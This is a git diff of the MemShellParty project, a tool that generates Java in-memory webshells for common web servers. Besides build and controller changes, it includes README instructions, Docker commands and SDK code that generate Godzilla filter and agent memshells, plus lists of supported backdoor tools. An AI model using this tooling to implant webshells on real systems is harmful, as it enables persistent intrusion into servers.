<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%"> <img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="assets/about_page.png" alt="about_page" width="24%"> <img src="asserts/about_page.png" alt="about_page" width="24%">
</p> </p>
## 主要特性 ## 主要特性
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
### 使用前必看 ### 使用前必看
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty [Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Before

Width:  |  Height:  |  Size: 136 KiB

After

Width:  |  Height:  |  Size: 136 KiB

Before

Width:  |  Height:  |  Size: 236 KiB

After

Width:  |  Height:  |  Size: 236 KiB

@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app WORKDIR /app
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/ RUN pip install requests
COPY neoreg.py . COPY neoreg.py .

Before

Width:  |  Height:  |  Size: 268 KiB

After

Width:  |  Height:  |  Size: 268 KiB

+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:21.0.11_10-jre-noble FROM eclipse-temurin:17.0.14_7-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+5 -4
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "4.1.0" id("org.springframework.boot") version "3.5.7"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -21,8 +21,6 @@ configurations {
} }
} }
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
@@ -31,8 +29,11 @@ dependencies {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
} }
implementation("org.springframework.boot:spring-boot-starter-thymeleaf") implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation(libs.commons.lang3) implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok") compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools") developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -1,12 +1,10 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO; import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.boot.vo.PackerVO;
import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
@@ -23,12 +21,7 @@ import java.util.*;
@CrossOrigin("*") @CrossOrigin("*")
public class ConfigController { public class ConfigController {
/**
* @deprecated use {@link #config()} for memshell configuration and
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
*/
@RequestMapping("/servers") @RequestMapping("/servers")
@Deprecated(since = "2.9.0", forRemoval = false)
public Map<String, List<String>> getServers() { public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>(); Map<String, List<String>> servers = new LinkedHashMap<>();
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
@@ -40,40 +33,16 @@ public class ConfigController {
return servers; return servers;
} }
/**
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
*/
@RequestMapping("/packers") @RequestMapping("/packers")
@Deprecated(since = "2.9.0", forRemoval = false)
public List<String> getPackers() { public List<String> getPackers() {
return Arrays.stream(Packers.values()) return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null) .filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList(); .map(Packers::name).toList();
} }
/**
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
*/
@RequestMapping("/packers/tree")
public List<PackerVO> getPackerTree() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(packers -> new PackerVO(
packers.name(),
Packers.getPackersWithParent(packers.getInstance().getClass())
.stream().map(Packers::name).toList()))
.toList();
}
@RequestMapping("/probe/response-body/servers")
public List<String> getProbeResponseBodyServers() {
return ResponseBodyGenerator.getSupportedServers();
}
@RequestMapping @RequestMapping
public Map<String, Map<?, ?>> config() { public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16); Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer); AbstractServer server = ServerFactory.getServer(supportedServer);
@@ -2,10 +2,9 @@ package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse; import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource; import org.springframework.core.io.ClassPathResource;
import org.springframework.http.ResponseEntity; import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils; import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
@@ -35,18 +34,23 @@ public class ViewController {
return renderFileData(relativePath, response); return renderFileData(relativePath, response);
} }
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
@ResponseBody
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(4);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**") @GetMapping("/ui/**")
@SneakyThrows public String handleHtmlView(HttpServletRequest request) {
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), ""); String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) { if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index"; return "index";
} }
String docPath = fullPath.substring(4); String viewPath = fullPath.substring(4);
if (docPath.endsWith(".data")) { return viewPath + "/index";
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
} }
private String renderFileData(String relativePath, HttpServletResponse response) { private String renderFileData(String relativePath, HttpServletResponse response) {
@@ -57,6 +61,8 @@ public class ViewController {
response.setStatus(HttpServletResponse.SC_NOT_FOUND); response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath; return "File not found: " + relativePath;
} }
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
response.setCharacterEncoding("UTF-8");
InputStreamReader reader = new InputStreamReader( InputStreamReader reader = new InputStreamReader(
resource.getInputStream(), resource.getInputStream(),
StandardCharsets.UTF_8 StandardCharsets.UTF_8
@@ -51,8 +51,6 @@ public class MemShellGenerateRequest {
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName()) .paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate()) .template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
@@ -77,10 +75,6 @@ public class MemShellGenerateRequest {
.shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.build(); .build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}; };
} }
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.entity; package com.reajason.javaweb.boot.entity;
import lombok.Builder;
import lombok.Data; import lombok.Data;
import lombok.Builder;
/** /**
* @author ReaJason * @author ReaJason
@@ -1,10 +0,0 @@
package com.reajason.javaweb.boot.vo;
import java.util.List;
/**
* @author ReaJason
* @since 2026/6/27
*/
public record PackerVO(String name, List<String> children) {
}
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.*;
/** /**
* @author ReaJason * @author ReaJason
@@ -1,15 +1,11 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.server.LocalServerPort; import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
@@ -25,64 +21,27 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class ConfigControllerIntegrationTest { public class ConfigControllerIntegrationTest {
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() { @Autowired
}; private TestRestTemplate restTemplate;
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
};
@LocalServerPort
private int port;
private RestClient restClient;
@BeforeEach
void setUp() {
restClient = RestClient.builder()
.baseUrl("http://localhost:" + port)
.build();
}
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map<String, Object>> response = restClient.get() ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
.uri("/api/config")
.retrieve()
.toEntity(MAP_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map<String, Object>> response = restClient.get() ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
.uri("/api/config/servers")
.retrieve()
.toEntity(MAP_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List<String>> response = restClient.get() ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
.uri("/api/config/packers")
.retrieve()
.toEntity(STRING_LIST_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test
public void testConfigProbeResponseBodyServersEndpoint() {
ResponseEntity<List<String>> response = restClient.get()
.uri("/api/config/probe/response-body/servers")
.retrieve()
.toEntity(STRING_LIST_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
}
} }
@@ -8,13 +8,12 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.server.LocalServerPort; import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -26,17 +25,8 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest { class MemShellGeneratorControllerTest {
@LocalServerPort @Autowired
private int port; TestRestTemplate restTemplate;
private RestClient restClient;
@BeforeEach
void setUp() {
restClient = RestClient.builder()
.baseUrl("http://localhost:" + port)
.build();
}
@Test @Test
void generateShell() { void generateShell() {
@@ -60,11 +50,8 @@ class MemShellGeneratorControllerTest {
shellToolConfigDTO.setHeaderName("User-Agent"); shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello"); shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO); request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restClient.post() ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
.uri("/api/memshell/generate") "/api/memshell/generate", request, MemShellGenerateResponse.class);
.body(request)
.retrieve()
.toEntity(MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
+1 -1
View File
@@ -7,5 +7,5 @@ repositories {
} }
dependencies { dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0") implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
} }
@@ -3,7 +3,7 @@ plugins {
} }
mavenPublishing { mavenPublishing {
publishToMavenCentral(automaticRelease = true, validateDeployment = true) publishToMavenCentral(true)
signAllPublications() signAllPublications()
coordinates( coordinates(
"io.github.reajason", "io.github.reajason",
+1 -7
View File
@@ -9,16 +9,10 @@ idea {
} }
} }
version = "2.9.0" version = "2.4.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral") dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral") dependsOn(":generator:publishToMavenCentral")
} }
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
}
+332 -34
View File
@@ -1,6 +1,11 @@
<h1 align="center">MemShellParty</h1> <h1 align="center">MemShellParty</h1>
<p align="center"><a href="../README.md">中文</a> | English<br></p> <p align="center">English | <a href="../README.md">中文</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center"> <div align="center">
@@ -12,54 +17,49 @@
<div align="center"> <div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk) [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
</div> </div>
> [!WARNING] > [!WARNING]
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility. > This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
> [!TIP] > [!TIP]
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together. > As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency. MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
<p align="center"> What you can learn or try from this project:
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%"> 1. Learn to write java memshell for common middleware and frameworks.
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%"> 2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
<img src="../assets/about_page.png" alt="about_page" width="24%"> 3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
</p> 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png)
![agent_generator](../asserts/agent_generator.png)
## Key Features ## Key Features
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time. - Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21. - High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use. - Minimal Size: Strives to minimize memshell size for efficient transfer.
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM. - Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
## Quick Start ## Quick Start
### Read Before Use ### Online Preview
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications. > Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish. Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
### Online Site
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
### Local Deployment (Recommended) ### Local Deployment (Recommended)
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient. > Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
After deploying with Docker, access http://127.0.0.1:8080 After deploying with Docker, access the service at http://127.0.0.1:8080
```bash ```bash
# Pull the latest image from Docker Hub # Pull the latest image from Docker Hub
@@ -68,14 +68,312 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
# Pull the latest image from Github Container Registry # Pull the latest image from Github Container Registry
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
# Poor network quality? Use the Nanjing University Github Container Registry mirror # If network quality is poor, use the Nanjing University Github Container Registry mirror
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
## Special Thanks The image is stateless. To update to the latest version, simply remove the old container and create a new one:
```bash
# Remove the previously deployed container
docker rm -f memshell-party
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK Integration into Existing Tools
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
1. Add the dependency using Maven or Gradle:
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: "+result.getInjectorClassName());
System.out.println("MemShell Class Name: "+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
```
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: " + result.getInjectorClassName());
System.out.println("MemShell Class Name: " + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## Compatibility
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
### Middleware and Frameworks
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### MemShell Functionality
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder](https://github.com/rebeyond/Behinder)
- [x] Command Execution
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### Packaging Methods
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] Built-in ScriptEngine, Rhino ScriptEngine
